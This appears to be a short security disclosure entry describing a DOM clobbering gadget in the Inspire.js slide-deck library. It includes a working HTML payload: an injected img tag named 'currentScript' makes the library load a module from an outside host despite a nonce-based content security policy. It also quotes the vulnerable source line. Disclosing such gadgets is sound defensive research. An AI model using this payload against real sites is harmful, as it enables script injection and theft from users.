Lean, hackable, extensible slide deck framework. Create basic slides by just writing HTML and CSS, do fancy custom stuff with JS, the sky is the limit!
The Inspire.js library uses the document.currentScript
property to load additional scripts.
<!-- user input -->
<img name="currentScript" src="https://gmsgadget.com/assets/xss/">
<script nonce="secret" src="https://inspirejs.org/inspire.js"></script>
Root Cause
Source: https://github.com/LeaVerou/inspire.js/blob/b09b13dbd3ddc6539dea08bf6b91af77e6e0bdc2/inspire.js#L4
let url = new URL("./inspire.mjs", document.currentScript ? document.currentScript.src : "https://inspire.js.org/");
Related links:
Found by jackfromeast, ishmeals.